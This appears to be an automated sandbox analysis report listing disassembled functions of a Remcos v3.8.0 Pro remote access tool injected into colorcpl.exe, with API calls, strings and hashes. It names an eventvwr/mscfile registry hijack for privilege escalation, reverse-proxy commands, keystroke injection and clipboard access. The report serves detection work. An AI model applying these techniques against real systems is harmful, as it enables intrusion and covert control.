                                                                                    • Opcode Fuzzy Hash: 81ca58dedb1d38bdd5b3e09626784631354fe40224f039c8b16b2d492c32e3ef
                                                                                    • Instruction Fuzzy Hash: CC11777E51011CEFDB01EF58C945CD93BA7FF04390B528495BE898B221EA31EE909F81
                                                                                    Function 0285268B Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 266COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02855725: GetLastError.KERNEL32(?,0284EE9A,02848595,0284EE9A,02881E90,?,0284CC1A,FF8BC35D,02881E90,02881E90), ref: 02855729
                                                                                      • Part of subcall function 02855725: _free.LIBCMT ref: 0285575C
                                                                                      • Part of subcall function 02855725: SetLastError.KERNEL32(00000000,FF8BC35D,02881E90,02881E90), ref: 0285579D
                                                                                      • Part of subcall function 02855725: _abort.LIBCMT ref: 028557A3
                                                                                    • _memcmp.LIBVCRUNTIME ref: 02852935
                                                                                    • _free.LIBCMT ref: 028529A6
                                                                                    • _free.LIBCMT ref: 028529BF
                                                                                    • _free.LIBCMT ref: 028529F1
                                                                                    • _free.LIBCMT ref: 028529FA
                                                                                    • _free.LIBCMT ref: 02852A06
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorLast$_abort_memcmp
                                                                                    • String ID: C$\y+/
                                                                                    • API String ID: 1679612858-3100083184
                                                                                    • Opcode ID: 722674c19c1e08acfc6b5fdb6354e9ab0f73a42cc06edd7321cab65af9f6a091
                                                                                    • Instruction ID: 9a419d166e743ee827357a62452edfab6b2ba02ead4f6b045cf5ab4ba4674585
                                                                                    • Opcode Fuzzy Hash: 722674c19c1e08acfc6b5fdb6354e9ab0f73a42cc06edd7321cab65af9f6a091
                                                                                    • Instruction Fuzzy Hash: D4B10979A012299FDB24DF18C888BA9B7B5FB08314F54859ADD49E7354EB31AE90CF40
                                                                                    Function 02857757 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,02857ECC,02863EB5,00000000,00000000,00000000,00000000,00000000), ref: 02857799
                                                                                    • __fassign.LIBCMT ref: 02857814
                                                                                    • __fassign.LIBCMT ref: 0285782F
                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 02857855
                                                                                    • WriteFile.KERNEL32(?,00000000,00000000,02857ECC,00000000,?,?,?,?,?,?,?,?,?,02857ECC,02863EB5), ref: 02857874
                                                                                    • WriteFile.KERNEL32(?,02863EB5,00000001,02857ECC,00000000,?,?,?,?,?,?,?,?,?,02857ECC,02863EB5), ref: 028578AD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 1324828854-1501633358
                                                                                    • Opcode ID: 4cd7464882fc49141c0c27f26e5161eddc71cf276c1dd21c355c71a328aa9ce5
                                                                                    • Instruction ID: 8b655811a54b061e0fdde603427f4865e3bde0186b43cf327e2ba66d26de9edf
                                                                                    • Opcode Fuzzy Hash: 4cd7464882fc49141c0c27f26e5161eddc71cf276c1dd21c355c71a328aa9ce5
                                                                                    • Instruction Fuzzy Hash: 6E51D178E002599FDB10CFA8D885AFEFBF9EF09300F14855AE955E7281E734A950CB64
                                                                                    Function 028259BA Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 02825A1A
                                                                                      • Part of subcall function 0282A20F: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0281983B), ref: 0282A228
                                                                                    • Sleep.KERNEL32(00000064), ref: 02825A46
                                                                                    • DeleteFileW.KERNEL32(00000000), ref: 02825A7A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CreateDeleteExecuteShellSleep
                                                                                    • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                    • API String ID: 1462127192-2001430897
                                                                                    • Opcode ID: 59fa3bb5cca48d0ecab5911088d7a56b7ea770eb1a0f579d48b6459b6c97a736
                                                                                    • Instruction ID: becbfbc559d29e59e43917991d0c5833ec453673dee8b0b9c6f7cb5b5971c149
                                                                                    • Opcode Fuzzy Hash: 59fa3bb5cca48d0ecab5911088d7a56b7ea770eb1a0f579d48b6459b6c97a736
                                                                                    • Instruction Fuzzy Hash: 04316D3D9401285ADB18FBA8DC95DEE772EEF10314F404169E50AE31D0EF645A8ECEA6
                                                                                    Function 028166A6 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 78COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,02879654,02879654,00000000), ref: 02816775
                                                                                    • ExitProcess.KERNEL32 ref: 02816782
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExecuteExitProcessShell
                                                                                    • String ID: C:\Windows\SysWOW64\colorcpl.exe$Software\Classes\mscfile\shell\open\command$eventvwr.exe$mscfile\shell\open\command$open$origmsc
                                                                                    • API String ID: 1124553745-2519146888
                                                                                    • Opcode ID: 1be9e1cfa329a74feb9ec01bdd71e78f09624e31ab9befe14acebd5532ffabf7
                                                                                    • Instruction ID: 644876e17283b400298b655980f79f6a0ddce00ede38482f94825f05575163f4
                                                                                    • Opcode Fuzzy Hash: 1be9e1cfa329a74feb9ec01bdd71e78f09624e31ab9befe14acebd5532ffabf7
                                                                                    • Instruction Fuzzy Hash: 2D11277DE8012466E704B2A8CC5AFBF336E9F10710F400554E61BE62C0EFA499498BE3
                                                                                    Function 0282AA4F Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 53memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • AllocConsole.KERNEL32(00000000), ref: 0282AA5D
                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 0282AA76
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocConsoleShowWindow
                                                                                    • String ID: * BreakingSecurity.net$ * Remcos v$--------------------------$--------------------------$3.8.0 Pro$CONOUT$
                                                                                    • API String ID: 4118500197-4025029772
                                                                                    • Opcode ID: 1630d92295f8c0e0feae0240318be86264b118702b74bfb74212ab0bc62f0298
                                                                                    • Instruction ID: 22b8594705292aff06144398652bffd93136dd3a7566fb44bd93eb322855bb2d
                                                                                    • Opcode Fuzzy Hash: 1630d92295f8c0e0feae0240318be86264b118702b74bfb74212ab0bc62f0298
                                                                                    • Instruction Fuzzy Hash: A7015EBE98021C6BFB10FBF89C09E9E77ACBB14704F440419F215E6144EEAC91284A22
                                                                                    Function 0282B212 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0282B22B
                                                                                      • Part of subcall function 0282B2C4: RegisterClassExA.USER32(00000030), ref: 0282B310
                                                                                      • Part of subcall function 0282B2C4: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0282B32B
                                                                                      • Part of subcall function 0282B2C4: GetLastError.KERNEL32 ref: 0282B335
                                                                                    • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0282B262
                                                                                    • lstrcpynA.KERNEL32(02881AF8,Remcos,00000080), ref: 0282B27C
                                                                                    • Shell_NotifyIconA.SHELL32(00000000,02881AE0), ref: 0282B292
                                                                                    • TranslateMessage.USER32(?), ref: 0282B29E
                                                                                    • DispatchMessageA.USER32(?), ref: 0282B2A8
                                                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0282B2B5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                    • String ID: Remcos
                                                                                    • API String ID: 1970332568-165870891
                                                                                    • Opcode ID: 2d9eb67ea89447eee2f33e7b6800f2b33b12ebb9bdd100d8c7fe63cb3e024ad0
                                                                                    • Instruction ID: 6a5f8cd0ebf1aa817fef2355745da1b5bd57a628f0ce14470dc67dba54caa36e
                                                                                    • Opcode Fuzzy Hash: 2d9eb67ea89447eee2f33e7b6800f2b33b12ebb9bdd100d8c7fe63cb3e024ad0
                                                                                    • Instruction Fuzzy Hash: 9E01097DD80258ABD710DBA9ED4DE9B7BBCFB85B04F040819E529D2180EBB850668B60
                                                                                    Function 02859F63 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: c68c654a2e7579e2644b8909d2d25edd5c488d25e5f7b3da4db40123335c7a9f
                                                                                    • Instruction ID: cb7cef1197ce79ecc4eef20cafaa1fb812b00b27049b1fd44591df062b258ef1
                                                                                    • Opcode Fuzzy Hash: c68c654a2e7579e2644b8909d2d25edd5c488d25e5f7b3da4db40123335c7a9f
                                                                                    • Instruction Fuzzy Hash: 50C1047CE44269AFCB19CFACC885BADBBB5BF09304F144294E915EB381CB319941CB61
                                                                                    Function 02823360 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: tcp$udp
                                                                                    • API String ID: 0-3725065008
                                                                                    • Opcode ID: aa45cc20a1ec836f9d95dfac844cc10ce01a59d41948a6c04c17d1dba517872b
                                                                                    • Instruction ID: 5dee86c4e5b3630a694142ffdd6fee4b0d1c1617c1d53faa1d564c25302233d4
                                                                                    • Opcode Fuzzy Hash: aa45cc20a1ec836f9d95dfac844cc10ce01a59d41948a6c04c17d1dba517872b
                                                                                    • Instruction Fuzzy Hash: A171B17C6083268FD7258F15D56462AB7E8EF94708F0489AEF889D7250DB78C988CB52
                                                                                    Function 0281FF5A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 191COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Eventinet_ntoa
                                                                                    • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse
                                                                                    • API String ID: 3578746661-168337528
                                                                                    • Opcode ID: 88d624bfe942c38ee458b339f912c44842095e52a71a405a80d2b2bb433cb52f
                                                                                    • Instruction ID: 8a2d39a6af32316788d9d3fde5ff3d9cd3fec6cce8c3787f6c5ecce13a8e3d91
                                                                                    • Opcode Fuzzy Hash: 88d624bfe942c38ee458b339f912c44842095e52a71a405a80d2b2bb433cb52f
                                                                                    • Instruction Fuzzy Hash: 7D51C73DE442209BD604F77CE85DB6E3AAAAB61300F500918E606D7AD0EF74D94CCB83
                                                                                    Function 0282601D Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108filesynchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0282626A: __EH_prolog.LIBCMT ref: 0282626F
                                                                                    • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 028260E6
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,02873050), ref: 0282611A
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 02826123
                                                                                    • DeleteFileA.KERNEL32(00000000), ref: 02826132
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWait
                                                                                    • String ID: <$@$Temp
                                                                                    • API String ID: 2516244461-1032778388
                                                                                    • Opcode ID: ea8564fb416aea984dcaa94b8c6eb9e92fc26dbc77020188cb6593a66a61235a
                                                                                    • Instruction ID: 8d14c874153b87928dd699e313e76570068084f2e9b67ff3d62bab40ad59f1d4
                                                                                    • Opcode Fuzzy Hash: ea8564fb416aea984dcaa94b8c6eb9e92fc26dbc77020188cb6593a66a61235a
                                                                                    • Instruction Fuzzy Hash: 1E41A23DD401299BDB14FB68DC59AEEB73EAF50304F400258E50AE61D4EF745A89CF92
                                                                                    Function 028169F4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,02881E78,02872F54,?,00000000,0281708D,00000000), ref: 02816A56
                                                                                    • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,0281708D,00000000,?,?,0000000A,00000000), ref: 02816A9E
                                                                                    • CloseHandle.KERNEL32(00000000,?,00000000,0281708D,00000000,?,?,0000000A,00000000), ref: 02816ADE
                                                                                    • MoveFileW.KERNEL32(00000000,00000000), ref: 02816AFB
                                                                                    • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 02816B26
                                                                                    • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 02816B36
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseHandle$CreateDeleteMoveWrite
                                                                                    • String ID: .part
                                                                                    • API String ID: 1511717022-3499674018
                                                                                    • Opcode ID: e9260a78766c480135a842f9328c35efc1a90ad7260d699b31946f017a486f57
                                                                                    • Instruction ID: b9e1ed8f803fec1560d39d29e323e2b46ad2795bbc7d1469a699a171fee65099
                                                                                    • Opcode Fuzzy Hash: e9260a78766c480135a842f9328c35efc1a90ad7260d699b31946f017a486f57
                                                                                    • Instruction Fuzzy Hash: 4931AE7D404361AFC310EB64D848DAFB3ADFB80304F00491AF58AD21D0EB74AA488BA2
                                                                                    Function 02827949 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 02827982
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 028279A3
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 028279C3
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 028279D7
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 028279ED
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 02827A0A
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 02827A25
                                                                                    • SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 02827A41
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InputSend
                                                                                    • String ID:
                                                                                    • API String ID: 3431551938-0
                                                                                    • Opcode ID: e46619cff81cfd8caeaac4e7594a8862e21081e09c9b00f02cbec1bc28f91c38
                                                                                    • Instruction ID: eca51bcaeb3f820629b0790387a30c29ef084aaab1c13d5e10edd18f4b48c141
                                                                                    • Opcode Fuzzy Hash: e46619cff81cfd8caeaac4e7594a8862e21081e09c9b00f02cbec1bc28f91c38
                                                                                    • Instruction Fuzzy Hash: 8531A1355583186EE311CF51DD41BEBBBDCEF89B64F00080EF6849A181D3A296C88BA3
                                                                                    Function 02824F40 Relevance: 12.0, APIs: 8, Instructions: 49clipboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlock
                                                                                    • String ID:
                                                                                    • API String ID: 2813074840-0
                                                                                    • Opcode ID: 08c0f04c957ac0161d384d26b2d6092c565094dc1634aa6035a2f3d0fbbcf216
                                                                                    • Instruction ID: 01c0558dad752181b6fc7eab7ccb940c1578e4ef394919148067615b0d3d1011
                                                                                    • Opcode Fuzzy Hash: 08c0f04c957ac0161d384d26b2d6092c565094dc1634aa6035a2f3d0fbbcf216
                                                                                    • Instruction Fuzzy Hash: E401A13D6842609BC304BB74D90C66A77ADFF90301F481A1DE51BC11C1EF389868CE52
                                                                                    Function 02854A81 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __freea$__alloca_probe_16_free
                                                                                    • String ID: \y+/$a/p$am/pm
                                                                                    • API String ID: 2936374016-2066640824
                                                                                    • Opcode ID: 255540beaae4f332109cc3105853f5fbb1a97e97c7bc793dc9512cfc3cba2685
                                                                                    • Instruction ID: a072ac28cbc77c164c65a37df178931fcecb6aab8f2dcd8e21bd4c686410be84
                                                                                    • Opcode Fuzzy Hash: 255540beaae4f332109cc3105853f5fbb1a97e97c7bc793dc9512cfc3cba2685
                                                                                    • Instruction Fuzzy Hash: F6D1063D90022ADBDB298F68C859BBBB7B1FF05328F14415AED09EB254D37599C0CB61
                                                                                    Function 0284BB4A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 0-1501633358
                                                                                    • Opcode ID: b7c6a12c629073bcd34f257fa3d1788c2f5bccdda5658e4c2577cabcc2e7e60d
                                                                                    • Instruction ID: b3ff424b5cc4db08e20370afda4ef33e4b5ae33803313e9026f0ae1a3699729b
                                                                                    • Opcode Fuzzy Hash: b7c6a12c629073bcd34f257fa3d1788c2f5bccdda5658e4c2577cabcc2e7e60d
                                                                                    • Instruction Fuzzy Hash: 9671923DD0025E9BDB218B58C8847BEBB75EF4535CF1446A9E819E7180DF70E942CBA1
                                                                                    Function 0285220D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    • _free.LIBCMT ref: 02852318
                                                                                    • _free.LIBCMT ref: 0285232F
                                                                                    • _free.LIBCMT ref: 0285234E
                                                                                    • _free.LIBCMT ref: 02852369
                                                                                    • _free.LIBCMT ref: 02852380
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$AllocateHeap
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 3033488037-1501633358
                                                                                    • Opcode ID: 2bba3bd60d46b7fa671234fe3a9519625ee88c7721e330aba944702785246b28
                                                                                    • Instruction ID: 4e51999004f2ecdf2ca6152a83899f285d74109d2ee7676ecc9e082757c13612
                                                                                    • Opcode Fuzzy Hash: 2bba3bd60d46b7fa671234fe3a9519625ee88c7721e330aba944702785246b28
                                                                                    • Instruction Fuzzy Hash: 8251923EA007249FDB21DF69C841BAAB7F5EF49724F144559EC09D7264EB31A901CB40
                                                                                    Function 028512F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 269201875-1501633358
                                                                                    • Opcode ID: 80a414e89ee199dfad29279a0afdfd33106510143e6a7442e174030a3b6dab98
                                                                                    • Instruction ID: f7f7f8c8863cc1b15f91603ed8db3923694bc430c23f42681fd4fbd3e4580ed2
                                                                                    • Opcode Fuzzy Hash: 80a414e89ee199dfad29279a0afdfd33106510143e6a7442e174030a3b6dab98
                                                                                    • Instruction Fuzzy Hash: C541C43EE002149FDB14DF78C898B9DB7B6EF84714F1545A9ED19EB240EB35A901CB81
                                                                                    Function 0285E30C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,02849ED1,?,00000000,?,00000001,?,?,00000001,02849ED1,?), ref: 0285E359
                                                                                    • __alloca_probe_16.LIBCMT ref: 0285E391
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0285E3E2
                                                                                    • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,02848C3F,?), ref: 0285E3F4
                                                                                    • __freea.LIBCMT ref: 0285E3FD
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 313313983-1501633358
                                                                                    • Opcode ID: 4ff7b41b52e3f1a240634864f1746748e73b647662417e6d28400bc1d0224b66
                                                                                    • Instruction ID: 4d0b46f60d03b4b683f1dd87fcacf5c2410bc1d8a49a422595ba05c28e3c8e92
                                                                                    • Opcode Fuzzy Hash: 4ff7b41b52e3f1a240634864f1746748e73b647662417e6d28400bc1d0224b66
                                                                                    • Instruction Fuzzy Hash: B531D87991022A9BDF24DF69DC44DEF7BA5EF00714F084168EC18D7190EB39D950CB90
                                                                                    Function 0281AE2A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02821F91: RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 02821FB5
                                                                                      • Part of subcall function 02821F91: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 02821FD2
                                                                                      • Part of subcall function 02821F91: RegCloseKey.KERNEL32(00000000), ref: 02821FDD
